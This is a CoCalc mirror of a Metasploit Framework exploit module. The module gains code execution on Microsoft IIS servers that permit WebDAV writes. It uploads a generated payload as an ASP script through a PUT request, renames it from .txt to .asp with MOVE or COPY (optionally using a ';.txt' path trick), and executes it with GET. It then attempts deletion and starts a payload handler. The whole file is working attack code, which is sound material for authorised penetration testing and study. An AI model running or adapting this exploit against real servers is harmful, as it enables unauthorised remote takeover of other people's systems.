Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/iis/iis_webdav_upload_asp.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
12
def initialize
13
super(
14
'Name' => 'Microsoft IIS WebDAV Write Access Code Execution',
15
'Description' => %q{
16
This module can be used to execute a payload on IIS servers that
17
have world-writeable directories. The payload is uploaded as an ASP
18
script via a WebDAV PUT request.
19
20
The target IIS machine must meet these conditions to be considered
21
as exploitable: It allows 'Script resource access', Read and Write
22
permission, and supports ASP.
23
},
24
'Author' => 'hdm',
25
'Platform' => 'win',
26
'References' => [
27
['OSVDB', '397'],
28
['BID', '12141']
29
],
30
'Targets' => [
31
[ 'Automatic', {} ],
32
],
33
'DefaultTarget' => 0,
34
'DisclosureDate' => 'Dec 31 2004'
35
)
36
37
register_options(
38
[
39
# The USERNAME and PASSWORD are registered again to make them more obvious they're
40
# configurable.
41
OptString.new('HttpUsername',
42
[false, 'The HTTP username to specify for authentication', '']),
43
OptString.new('HttpPassword',
44
[false, 'The HTTP password to specify for authentication', '']),
45
OptString.new('PATH',
46
[ true, 'The path to attempt to upload', '/metasploit%RAND%.asp']),
47
OptEnum.new('METHOD',
48
[ true, 'Move or copy the file on the remote system from .txt -> .asp', 'move', ['move', 'copy']])
49
]
50
)
51
end
52
53
def exploit
54
# Generate the ASP containing the EXE containing the payload
55
exe = generate_payload_exe
56
asp = Msf::Util::EXE.to_exe_asp(exe)
57
path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)
58
path = "/" + path if path[0] != "/"
59
# Incase of "/path/to/filename.asp;.txt"
60
path_tmp = "/" + File.basename(path.gsub(/\;.*/, ''), ".*") + ".txt"
61
path_tmp = File.dirname(path) + path_tmp if File.dirname(path) != "/"
62
action = datastore['METHOD'].downcase.gsub('e', '') + "ing"
63
alt_method = "move"
64
alt_method = "copy" if datastore['METHOD'].upcase == "MOVE"
65
66
#
67
# CHECK
68
#
69
print_status("Checking #{path}")
70
res = send_request_cgi({
71
'uri' => path,
72
'method' => 'GET',
73
}, 20)
74
75
unless res
76
print_error("Connection timed out while trying to checking #{path}")
77
return
78
end
79
80
if (res.code == 200)
81
print_error("File #{path} already exists on the target")
82
return
83
end
84
85
#
86
# UPLOAD
87
#
88
print_status("Uploading #{asp.length} bytes to #{path_tmp}...")
89
90
begin
91
res = send_request_cgi({
92
'uri' => path_tmp,
93
'method' => 'PUT',
94
'ctype' => 'application/octet-stream',
95
'data' => asp,
96
}, 20)
97
rescue Errno::ECONNRESET => e
98
print_error("#{e.message}. It's possible either you set the PATH option wrong, or IIS doesn't allow 'Write' permission.")
99
return
100
end
101
102
unless res
103
print_error("Connection timed out while uploading to #{path_tmp}")
104
return
105
end
106
107
if (res.code < 200 or res.code >= 300)
108
print_error("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
109
return
110
end
111
112
#
113
# MOVE/COPY
114
#
115
if (path_tmp == path)
116
print_warning("Same filename for PATH and PATH_TEMP detected (#{path_tmp})")
117
print_warning("Do not end PATH with '.txt'")
118
else
119
print_status("#{action.capitalize} #{path_tmp} to #{path}...")
120
121
res = send_request_cgi({
122
'uri' => path_tmp,
123
'method' => datastore['METHOD'].upcase,
124
'headers' => { 'Destination' => path }
125
}, 20)
126
127
unless res
128
print_error("Connection timed out while moving to #{path}")
129
return
130
end
131
132
if (res.code < 200 or res.code >= 300)
133
print_error("#{datastore['METHOD'].capitalize} failed on #{path_tmp} [#{res.code} #{res.message}]")
134
case res.code
135
when 403
136
print_error("IIS possibly does not allow 'READ' permission, which is required to upload executable content.")
137
end
138
return
139
elsif (res.code == 207)
140
print_warning("#{datastore['METHOD'].capitalize} may have failed. [#{res.code} Response]")
141
print_warning("Try using 'set METHOD #{alt_method}' instead")
142
end
143
end
144
145
#
146
# EXECUTE
147
#
148
print_status("Executing #{path}...")
149
150
res = send_request_cgi({
151
'uri' => path,
152
'method' => 'GET'
153
}, 20)
154
155
unless res
156
print_error("Execution failed on #{path} [No Response]")
157
return
158
end
159
160
if (res.code < 200 or res.code >= 300)
161
print_error("Execution failed on #{path} [#{res.code} #{res.message}]")
162
case res.message
163
when 'Not Found', 'Object Not Found'
164
print_error("The #{datastore['METHOD'].upcase} action failed. Possibly IIS doesn't allow 'Script Resource Access'")
165
print_warning("Try using 'set METHOD #{alt_method}' instead")
166
vprint_warning("Pro Tip: Try 'set PATH /metasploit%RAND%.asp;.txt' instead") unless path.include? ";"
167
end
168
return
169
end
170
171
#
172
# DELETE
173
#
174
print_status("Deleting #{path} (this doesn't always work)...")
175
176
res = send_request_cgi({
177
'uri' => path,
178
'method' => 'DELETE'
179
}, 20)
180
181
unless res
182
print_error("Deletion failed on #{path} [No Response]")
183
return
184
end
185
186
if (res.code < 200 or res.code >= 300)
187
# Changed this to a warning, because red is scary and if this part fails,
188
# honestly it's not that bad. In most cases this is probably expected anyway
189
# because by default we're using IWAM_*, which doesn't give us a lot of
190
# freedom to begin with.
191
print_warning("Deletion failed on #{path} [#{res.code} #{res.message}]")
192
return
193
end
194
195
handler
196
end
197
end
198
199